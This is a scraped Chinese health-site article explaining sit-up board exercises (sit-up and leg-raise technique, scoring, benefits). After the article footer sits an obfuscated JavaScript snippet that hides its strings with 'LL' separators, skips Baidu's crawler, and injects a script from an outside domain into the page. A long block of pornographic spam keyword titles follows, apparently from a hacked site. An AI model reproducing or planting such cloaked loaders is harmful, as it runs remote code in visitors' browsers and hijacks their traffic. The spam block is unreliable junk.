當前位置:首頁 > 健康 > 運動健身 > 正文

仰臥板鍛煉方法是什么?

2017-04-14 15:50:56  來源:360常識網   熱度:
導語:在我們現在的生活中有很多的朋友越來越喜歡健身,進行鍛煉能更好的達到,保健身體的目的。現在流行的仰臥起坐板大家并不陌生,那么要想發揮

在我們現在的生活中有很多的朋友越來越喜歡健身,進行鍛煉能更好的達到,保健身體的目的。現在流行的仰臥起坐板大家并不陌生,那么要想發揮它的好作用,我們要掌握一些利用的方法。小編就為大家詳細的介紹一下仰臥起坐板,如何來鍛煉趕快來了解一下吧!

現在玩仰臥板的伴侶是越來越多了,但是能夠掌握正確的玩法的卻在少數,作為是室外大眾體育健身器材中一種常見的健身器材,利用仰臥板健身的人很多,可是很多人對健身器材的功能缺乏正確的相識,練習動作往往都不科學,所以就導致了沒有達到預期的效果,反而容易造成不必要的傷害事故。

可是,我們也常看到,很多人在仰臥板長進行仰臥起坐或仰臥抬腿時,上體拉起或雙腿舉起時動作過慢,倒下或放腿時動作過快,這很不科學。起首,

起身時動作過慢,不克不及形成一定的鍛煉節奏,使腹部肌肉獲得有力拉伸;其次,倒下時,練習者肌肉松弛,完全憑借慣性,不僅沒有鍛煉效果,還有可能使上體和頭部由于倒得太快,受到劇烈撞擊和震動,造成傷害。

正確的練習要領應該主要有兩種:

要領1:仰臥起坐。手抓扶手,腳鉤橫杠,身體向后仰臥,利用腹肌力量坐起成90度,抬起時動作要快,膝樞紐關頭不要屈曲。身體倒下去時動作必得慢,最好倒下一半停頓5—10秒鐘。

要領2:仰臥舉腿。手抓扶手,兩腳用力向上抬,兩腿向上方抬起,抬至與上體約成90度。兩腿放下要慢,最好放至一半時停住5—10秒鐘。

練習次數:完成6次計1分,5分以上為優,2分以下為差。高血壓、心臟病患者盡量不做。

仰臥起坐板具有很高的鍛煉價值,它能成長腰腹肌肉力量,削減或消除腰腹部多余的脂肪和贅肉,利用仰臥板健身器材做仰臥起坐、仰臥舉腿、違翹等健身練習,不僅能對男性的“啤酒肚”有所幫助,而且能改善改善女性腰腹肌肉松弛下墜的問題,從而能達到塑造女性杰出,柔美的形態和身形。

通過上面的介紹,大家現在對于仰臥起坐板,的正確使用方法都了解清楚了吧!那么懂得了這些方法在生活中我們就好好運用,正確的運用器械去鍛煉才能達到更好的健身或者是減肥的目的哦!

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品久久久久久久伊一 | 色欲精品国产一区二区三区AV| 亚洲国产精品美女久久久久| 中文字幕精品一区二区精品| 国内精品福利视频| 久久亚洲精品成人| 精品多毛少妇人妻AV免费久久 | 国产成人精品1024在线| 日韩精品无码免费专区午夜不卡| 精品乱码久久久久久中文字幕| 老汉精品免费AV在线播放| 孩交VIDEOS精品乱子| 日韩精品视频免费在线观看| 亚洲精品福利你懂| 久久九九精品国产综合喷水| 久久99精品久久久久久秒播| 久久精品无码一区二区三区不卡| 91精品手机国产免费| 亚洲日韩一页精品发布| 七次郎在线视频精品视频| 国产精品久久久久久久久久久不卡 | 亚洲精品无码永久中文字幕| 国产日韩精品一区二区在线观看播放| 69pao精品视频在线观看| 亚洲精品自产拍在线观看动漫| 9久热这里只有精品免费| 免费精品国产自产拍观看| 热久久美女精品天天吊色| 亚拍精品一区二区三区| 久久精品国产亚洲av四虎| 中文精品久久久久国产网站| 亚洲午夜福利精品无码| 国产精品久久久久久久久kt | 亚洲情侣偷拍精品| 国产精品无码久久av| 亚洲国产精品嫩草影院| 国产精品永久免费10000| 精品一区二区三区在线成人| 亚洲Av无码精品色午夜| 国内精品免费在线观看| 久久久久国产精品三级网|